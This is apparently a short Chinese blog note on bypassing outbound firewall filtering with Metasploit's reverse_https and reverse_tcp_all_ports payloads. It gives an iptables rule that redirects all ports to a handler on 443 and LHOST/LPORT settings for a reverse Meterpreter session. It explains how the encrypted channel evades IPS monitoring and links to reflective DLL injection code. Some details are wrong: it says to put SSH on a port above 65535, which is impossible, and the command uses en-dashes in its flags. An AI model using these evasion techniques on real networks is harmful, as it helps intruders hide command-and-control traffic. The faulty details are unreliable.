外出过滤
我们有两种方式来绕过外出过滤:reverse_https或者reverse_tcp_all_ports。
不了解reverse_tcp_all_ports?它实际上是一个实现反向TCP管理并监控“所有端口”的模块。事实上它只监听一个端口,我们需要把所有端口重定向到它监控的端口。这就需要用到iptables或者其他的软件来实现。
使用iptables举例,该命令将所有端口重定向到443端口(该端口上有multi/handler监听处理)。技巧之一就是把SSH监听的端口设为一个比65535大的值。
iptables -t nat -A PREROUTING -p tcp –dport 1:65534 -j REDIRECT –to-ports 443
reverse_https是另外一个payload,因为其通过metasploit建立一个加密隧道,所以IPS就很难知道传输的是什么内容了,从而无法监控恶意流量。它不仅能够压缩payload,而且能够自动使用IE设置的代理。总之,rev_https更像https,除非有能监控SSL的网关,否则就难以检测到恶意流量。
使用reverse_https时,我们可以设置LHOST=X.X.X.X , LPORT=443。因为多数公司不会限制https(443端口),所以多数情况下(除非有深层的包内容检测)reverse_https就能正常工作了。
其中提到了 :reverse_https或者reverse_tcp_all_ports。是有源代码的,源代码地址为
http://www.rapid7.com/db/modules/payload/windows/meterpreter/reverse_https
https://github.com/stephenfewer/ReflectiveDLLInjection
代码完整实现了,Loadlibrary 和 GetProcAddress 并实现了注入效果很好,写一下文章,留个记号。